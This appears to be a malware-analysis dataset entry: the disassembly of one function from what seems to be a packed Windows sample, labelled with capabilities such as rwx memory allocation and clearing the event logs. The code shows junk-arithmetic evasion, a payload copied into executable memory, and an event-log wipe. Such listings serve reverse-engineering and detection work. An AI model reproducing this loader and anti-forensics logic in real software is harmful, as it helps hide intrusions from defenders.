Function at 0x405e20
Capabilities:
Access the windows event log
Allocate or change rwx memory
Clear windows event logs
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419011
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x2df4
call fcn.00407de0
mov eax, dword [0x41d80c]
mov dword [0x4300e8], eax
mov ecx, dword [0x4300e4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x42f6c4], eax
lea edx, [ebp - 0x10]
push edx
push 0x40
mov eax, dword [0x4300e4]
push eax
mov ecx, dword [0x42f6c4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x14], 0
jmp 0x405e8b
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0x17c462e4
jge 0x4066a3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x14], 0x129adee
jge 0x40668d
mov dword [ebp - 0x48], 0x16b700e0
mov dword [ebp - 0x5c], 0x729fb588
mov dword [ebp - 0xd0], 0x77dc540a
mov dword [ebp - 0xb4], 0x3cce353c
mov dword [ebp - 0x80], 0x7e9bacb0
mov dword [ebp - 0x7c], 0x1db2bd3d
mov dword [ebp - 0x6c], 0x20627d21
mov dword [ebp - 0xa0], 0x3f6ac131
mov dword [ebp - 0x110], 0x4429947a
mov dword [ebp - 0xf0], 0x5a1efe77
mov dword [ebp - 0x108], 0x4f98a507
mov dword [ebp - 0xec], 0x132dd8ea
mov dword [ebp - 0x118], 0x3c255f10
mov dword [ebp - 0xcc], 0x36416eaf
mov dword [ebp - 0x8c], 0xe14f715
mov dword [ebp - 0xa4], 0x7d5c34bd
mov dword [ebp - 0xc8], 0x28df196a
mov dword [ebp - 0x78], 0x37dcb12c
mov dword [ebp - 0x44], 0x72fc7d09
mov dword [ebp - 0x30], 0x5147c96c
mov dword [ebp - 0x12c], 0x704b32f3
mov dword [ebp - 0x58], 0x5f8f1819
mov dword [ebp - 0x40], 0x27a76e55
mov dword [ebp - 0x104], 0x22fa090
mov dword [ebp - 0x100], 0x670e8118
mov dword [ebp - 0xe8], 0xe01cd9b
mov dword [ebp - 0xfc], 0x3c082c18
mov dword [ebp - 0x3c], 0x3ecf8779
mov dword [ebp - 0xb0], 0x3686b744
mov dword [ebp - 0xf8], 0x38c96a6e
mov dword [ebp - 0x88], 0x1dd9dcf9
mov dword [ebp - 0xe4], 0x3f99f2e3
mov dword [ebp - 0xac], 0x76152ab6
mov dword [ebp - 0x54], 0x35d35e74
mov dword [ebp - 0x2c], 0x7f54c16b
mov dword [ebp - 0xe0], 0x3ed4b651
mov dword [ebp - 0x68], 0x626e8506
mov dword [ebp - 0x28], 0x5edd1c6f
mov dword [ebp - 0x84], 0x7467e854
mov dword [ebp - 0x50], 0x678283b1
mov dword [ebp - 0xdc], 0x7774bd03
mov dword [ebp - 0xc4], 0x34eec2c0
mov dword [ebp - 0x38], 0x23ee5613
mov dword [ebp - 0x9c], 0x7710f6f
mov dword [ebp - 0x74], 0x4aa513f0
mov dword [ebp - 0x98], 0x14c03604
mov dword [ebp - 0x10c], 0x709d39b2
mov dword [ebp - 0x128], 0x2d9fc390
mov dword [ebp - 0x64], 0xdc26664
mov dword [ebp - 0x114], 0xef0aa3c
mov dword [ebp - 0x4c], 0x59d10e2f
mov dword [ebp - 0x124], 0xdb5b201
mov dword [ebp - 0x94], 0x3d00c619
mov dword [ebp - 0x34], 0x2ee3cb51
mov dword [ebp - 0x120], 0x5c1ad1e2
mov dword [ebp - 0x24], 0x6d5a82ad
mov dword [ebp - 0xd8], 0x6415b55c
mov dword [ebp - 0x70], 0x43086827
mov dword [ebp - 0xc0], 0x42d3b3fd
mov dword [ebp - 0xd4], 0x8ebf9f3
mov dword [ebp - 0xb8], 0x3289be56
mov dword [ebp - 0xf4], 0x198f9d06
mov dword [ebp - 0xa8], 0x51e34c97
mov dword [ebp - 0x90], 0x3238d997
mov dword [ebp - 0xbc], 0x2afa9fe6
mov dword [ebp - 0x60], 0x274f0a8c
mov dword [ebp - 0x11c], 0x5900053b
sub dword [ebp - 0x48], 0x4a11786
add dword [ebp - 0x48], 0x4560716b
mov eax, 0x522900b3
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, 0x22cd0ca2
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
sub dword [ebp - 0xd0], 0x72fd1c75
mov eax, 0x46d31cbb
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
sub dword [ebp - 0x48], 0x2a2e8e8
sub dword [ebp - 0x48], 0x1e649d84
mov eax, 0x7194721d
mul dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
sub dword [ebp - 0xd0], 0x1adfd311
mov eax, 0x7afa2ad5
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
sub dword [ebp - 0x5c], 0x3f0a0b7
sub dword [ebp - 0x5c], 0x31fc1696
sub dword [ebp - 0x5c], 0x5e14f9c9
add dword [ebp - 0xb4], 0xd42e0
mov eax, 0x7af7a001
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, 0x3e317626
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
sub dword [ebp - 0x80], 0x3c18d7b7
sub dword [ebp - 0xd0], 0x2002a17a
mov eax, 0x51d6ae4b
mul dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
add dword [ebp - 0x5c], 0x66fa3a6b
add dword [ebp - 0x7c], 0x7644be02
sub dword [ebp - 0xb4], 0x38077f3b
mov eax, 0x2116605d
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, 0x4cb20c73
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
add dword [ebp - 0x6c], 0x6861ed43
add dword [ebp - 0x80], 0x2149ea17
sub dword [ebp - 0x48], 0x42dd5e39
mov eax, 0x6bb93c59
mul dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
add dword [ebp - 0xb4], 0x3fde49f0
add dword [ebp - 0xd0], 0x24c6ffa8
mov eax, 0x628826ee
mul dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
add dword [ebp - 0x6c], 0x1057b77
sub dword [ebp - 0xa0], 0x49b1f22e
add dword [ebp - 0x48], 0x53f6c871
sub dword [ebp - 0x48], 0x31e78741
mov eax, 0x4a75ae51
mul dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, 0x45a7f857
mul dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, 0x5990ae78
mul dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
add dword [ebp - 0x7c], 0x3718ba5b
sub dword [ebp - 0x80], 0x459675f0
mov eax, 0x2a4f8c2c
mul dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
sub dword [ebp - 0xf0], 0x39fd0a2
add dword [ebp - 0x108], 0x727a9530
mov eax, 0x99a8666
mul dword [ebp - 0x108]
mov eax, dword [ebp - 0x108]
mov eax, 0x4a6ceb0d
mul dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
sub dword [ebp - 0x108], 0x56301dce
sub dword [ebp - 0xa0], 0x485ad839
mov eax, 0x2883da3c
mul dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
sub dword [ebp - 0xec], 0x6f733afe
sub dword [ebp - 0xec], 0x1acbf0c0
add dword [ebp - 0xec], 0x6bbfcb99
mov eax, 0x629d1da5
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
add dword [ebp - 0x8c], 0x6a615b6a
add dword [ebp - 0xb4], 0x403e4fb5
mov eax, 0x5a4bc208
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, 0x3c6c12d9
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, 0x6402f2d4
mul dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
sub dword [ebp - 0x5c], 0x5ec62208
add dword [ebp - 0x118], 0x39bcf23a
sub dword [ebp - 0x5c], 0x746a7ea9
add dword [ebp - 0x118], 0x1b651608
add dword [ebp - 0xcc], 0x524f99ee
sub dword [ebp - 0xb4], 0x76b5296
mov eax, 0x2dab42b8
mul dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
sub dword [ebp - 0x7c], 0x1ca732cc
add dword [ebp - 0xa0], 0x4a0bd545
mov eax, 0x2eac636b
mul dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
sub dword [ebp - 0x78], 0x249dac94
sub dword [ebp - 0xb4], 0x6fb1faa3
sub dword [ebp - 0x40], 0x50ecbeb8
add dword [ebp - 0x12c], 0x4d7e5689
add dword [ebp - 0x118], 0x591a883a
add dword [ebp - 0x5c], 0x78fc8c1e
sub dword [ebp - 0x8c], 0x3ecbf404
sub dword [ebp - 0xe8], 0x6fe1682
add dword [ebp - 0xa0], 0x9e116c0
add dword [ebp - 0xd0], 0x42f97163
sub dword [ebp - 0xcc], 0x7593f15b
add dword [ebp - 0x6c], 0x7eef95db
add dword [ebp - 0x40], 0x6c82abb3
sub dword [ebp - 0x40], 0x6508f030
sub dword [ebp - 0xac], 0x1c707926
mov eax, 0x5a632c2f
mul dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, 0x33609ce5
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
sub dword [ebp - 0x80], 0x21ba796a
sub dword [ebp - 0xc8], 0x495bf23b
add dword [ebp - 0x78], 0x4af4edd1
add dword [ebp - 0xcc], 0x5367e117
add dword [ebp - 0xac], 0x300e1081
add dword [ebp - 0x88], 0x32361f60
sub dword [ebp - 0x54], 0x70fde692
sub dword [ebp - 0x48], 0x103a5e93
mov eax, 0x749b391
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, 0x46a82593
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
add dword [ebp - 0x84], 0x529fcf39
add dword [ebp - 0x58], 0x7c9f7835
mov eax, 0x310b38f7
mul dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
sub dword [ebp - 0xe0], 0x708c25b4
add dword [ebp - 0x12c], 0x36d67e57
sub dword [ebp - 0xe4], 0x57fb3c02
sub dword [ebp - 0x50], 0x3f99fb2a
mov eax, 0x2af2f096
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, 0x2e5d590b
mul dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf8]
sub dword [ebp - 0xa0], 0x74f97a90
sub dword [ebp - 0x100], 0x17ce5752
mov eax, 0x4d4d3413
mul dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf8]
sub dword [ebp - 0x64], 0x4821aa3d
add dword [ebp - 0xb4], 0x3a3f3a40
sub dword [ebp - 0x5c], 0x1de8200
add dword [ebp - 0x8c], 0x6c325c08
add dword [ebp - 0x34], 0x60a345da
sub dword [ebp - 0x84], 0xc11cad6
mov eax, 0x1b066e32
mul dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
sub dword [ebp - 0x128], 0x24391f5c
sub dword [ebp - 0xc8], 0x7643ad89
sub dword [ebp - 0x7c], 0x21db0587
mov eax, 0x1e7b1904
mul dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, 0x22bad2cf
mul dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
add dword [ebp - 0x5c], 0x6c6ae23
sub dword [ebp - 0x124], 0x17d6899a
mov eax, 0x3ec9a467
mul dword [ebp - 0x12c]
mov eax, dword [ebp - 0x12c]
mov eax, 0x209572a5
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, 0x5651a17b
mul dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
add dword [ebp - 0x34], 0x4749c337
add dword [ebp - 0x64], 0x4dd6c6ef
add dword [ebp - 0xe0], 0x402e7a02
mov eax, 0x122beb1d
mul dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
add dword [ebp - 0xec], 0x4d6aa82
mov eax, 0x39bc65cf
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, 0x125b0743
mul dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov eax, 0x4eda1907
mul dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
mov eax, 0x74d17c3e
mul dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
cmp dword [ebp - 0x14], 0x12a82b5
jle 0x40669e
jmp 0x4066a3
jmp 0x405e82
cmp dword [0x4300e4], 0x16
jne 0x4067c3
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x14c]
push eax
lea ecx, [ebp - 0x14bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea edx, [ebp - 0xcbc]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x401390
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
lea eax, [ebp - 0x4bc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea ecx, [ebp - 0x2d1d]
mov dword [ebp - 0x2d1c], ecx
push 0
push 0
lea ecx, [ebp - 0x148]
call fcn.00406e00
mov dword [ebp - 4], 0
push 0x4013ec
push 0x4013f0
push 0
call fcn.00408541
add esp, 0xc
push 0
call fcn.00408449
add esp, 0xfffffffc
mov dword [esp], 0
mov dword [esp + 4], 0
call fcn.00408320
add esp, 8
fstp qword [ebp - 0x2d38]
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call fcn.00408200
add esp, 8
fstp qword [ebp - 0x2d40]
push 0
call fcn.0040809a
add esp, 0xfffffffc
mov dword [esp], 0
mov dword [esp + 4], 0
call fcn.00407f80
add esp, 8
fstp qword [ebp - 0x2d48]
mov dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x148]
call fcn.00406e00
cmp dword [0x4300e4], 0xc
jne 0x406882
call dword [sym.imp.ole32.dll_CoRevokeMallocSpy]
push 0
lea edx, [ebp - 0x1cc4]
push edx
push 0
push 0x4013f8
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
call fcn.00408449
add esp, 4
push 0
push 0
call fcn.00407f32
mov dword [esp], 0
mov dword [esp + 4], 0
call fcn.00407f80
add esp, 8
fstp qword [ebp - 0x2d64]
push 0
push 0
call fcn.00407e16
add esp, 8
lea ecx, [ebp - 0x1cdc]
call fcn.00406c20
mov dword [ebp - 4], 1
lea eax, [ebp - 0x2d14]
push eax
lea ecx, [ebp - 0x1cdc]
call fcn.00406d70
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x1cdc]
call fcn.00406f70
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1cdc]
mov dword [ebp - 0x2e00], ecx
mov edx, dword [ebp - 0x2e00]
push edx
call fcn.00407e0b
add esp, 4
mov dword [ebp - 0x1ce0], 0
jmp 0x40689d
mov eax, dword [ebp - 0x1ce0]
add eax, 1
mov dword [ebp - 0x1ce0], eax
mov ecx, dword [ebp - 0x1ce0]
cmp ecx, dword [0x4300e4]
jae 0x406905
mov edx, dword [0x4300e8]
mov dword [ebp - 0x1ce4], edx
mov eax, 0xb2d3b
add dword [ebp - 0x1ce4], eax
mov eax, dword [0x42f6c4]
add eax, dword [ebp - 0x1ce0]
mov ecx, dword [ebp - 0x1ce4]
add ecx, dword [ebp - 0x1ce0]
mov dl, byte [ecx]
mov byte [eax], dl
cmp dword [0x4300e4], 0x44
jne 0x406903
push 0
lea eax, [ebp - 0x24e4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
jmp 0x40688e
mov dword [ebp - 0x24e8], 0
jmp 0x406920
mov ecx, dword [ebp - 0x24e8]
add ecx, 1
mov dword [ebp - 0x24e8], ecx
cmp dword [ebp - 0x24e8], 0x40c893
jge 0x406972
mov edx, dword [ebp - 0x24e8]
add edx, dword [0x4300e4]
cmp edx, 0x5e
jne 0x406970
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0x401428
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
lea eax, [ebp - 0x28ec]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x401450
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
jmp 0x406911
push 0x41b008
mov edx, dword [0x4300e4]
mov ecx, dword [0x42f6c4]
call fcn.00405c60
mov dword [ebp - 0x28f0], 0
jmp 0x4069a3
mov ecx, dword [ebp - 0x28f0]
add ecx, 1
mov dword [ebp - 0x28f0], ecx
cmp dword [ebp - 0x28f0], 0x286b97d
jge 0x4069c7
cmp dword [ebp - 0x28f0], 0x770e
jne 0x4069c5
mov ecx, 0x42f6c4
call fcn.00405de0
jmp 0x406994
mov dword [ebp - 0x28f4], 0
jmp 0x4069e2
mov edx, dword [ebp - 0x28f4]
add edx, 1
mov dword [ebp - 0x28f4], edx
cmp dword [ebp - 0x28f4], 0x7b
jge 0x406a61
cmp dword [0x4300e4], 0xd
jne 0x406a2c
mov dword [ebp - 0x2908], 0
xor eax, eax
mov dword [ebp - 0x2904], eax
mov dword [ebp - 0x2900], eax
mov dword [ebp - 0x28fc], eax
mov dword [ebp - 0x28f8], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
cmp dword [ebp - 0x28f4], 0x79
jne 0x406a3a
call fcn.00405e10
cmp dword [0x4300e4], 0xf
jne 0x406a5c
push 0
push 0
lea ecx, [ebp - 0x2d0c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
jmp 0x4069d3
push 0x40145c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret